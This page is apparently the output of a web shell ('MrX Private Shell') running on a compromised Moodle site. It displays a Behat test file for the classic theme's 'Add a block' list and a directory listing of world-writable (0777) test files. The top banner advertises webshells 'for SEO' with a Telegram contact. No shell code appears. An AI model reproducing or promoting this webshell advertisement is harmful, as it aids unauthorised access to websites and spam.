__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
@javascript @theme_classic
Feature: Add a block using classic theme
In order to check the blocks to display in the Add a block list for a them
As an administrator
I need to confirm the unaddableblocks setting is empty for classic.
Background:
Given the following "courses" exist:
| fullname | shortname |
| Course 1 | C1 |
And I log in as "admin"
Scenario: All the expected blocks are displayed in the Add a block list for classic
Given I am on "Course 1" course homepage with editing mode on
When I click on "Add a block" "select"
Then I should see "Administration"
And I should see "Navigation"
And I should see "Courses"
And I should see "Section links"
Scenario: Admins can change unaddable blocks using the unaddableblocks setting for classic
Given the following config values are set as admin:
| unaddableblocks | online_users,private_files,settings | theme_classic|
And I am on "Course 1" course homepage with editing mode on
When I click on "Add a block" "select"
Then I should not see "Online users"
And I should not see "Private files"
# The settings block is defined as required block for classic, so it will be displayed always.
And I should see "Administration"
And I should see "Navigation"
And I should see "Courses"
And I should see "Section links"
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| addblock.feature | File | 1.34 KB | 0777 |
|
| behat_theme_classic_behat_admin.php | File | 4.19 KB | 0777 |
|
| behat_theme_classic_behat_blocks.php | File | 4 KB | 0777 |
|
| behat_theme_classic_behat_completion.php | File | 1.57 KB | 0777 |
|
| behat_theme_classic_behat_core_question.php | File | 2 KB | 0777 |
|
| behat_theme_classic_behat_course.php | File | 2.82 KB | 0777 |
|
| behat_theme_classic_behat_general.php | File | 2.1 KB | 0777 |
|
| behat_theme_classic_behat_grade.php | File | 2.18 KB | 0777 |
|
| behat_theme_classic_behat_grading.php | File | 1.64 KB | 0777 |
|
| behat_theme_classic_behat_navigation.php | File | 19.54 KB | 0777 |
|
| behat_theme_classic_behat_repository_upload.php | File | 2.9 KB | 0777 |
|
| blacklist.json | File | 793 B | 0777 |
|
| category_role_assignment.feature | File | 1.6 KB | 0777 |
|
| course_sections.feature | File | 1.21 KB | 0777 |
|
| courseadministrationmenu.feature | File | 1011 B | 0777 |
|
| mycoursesblocks.feature | File | 1.21 KB | 0777 |
|
| pageadministrationmenu.feature | File | 2.11 KB | 0777 |
|
| theme_selector.feature | File | 1.41 KB | 0777 |
|
| welcome_to_classicmoodle.feature | File | 1.33 KB | 0777 |
|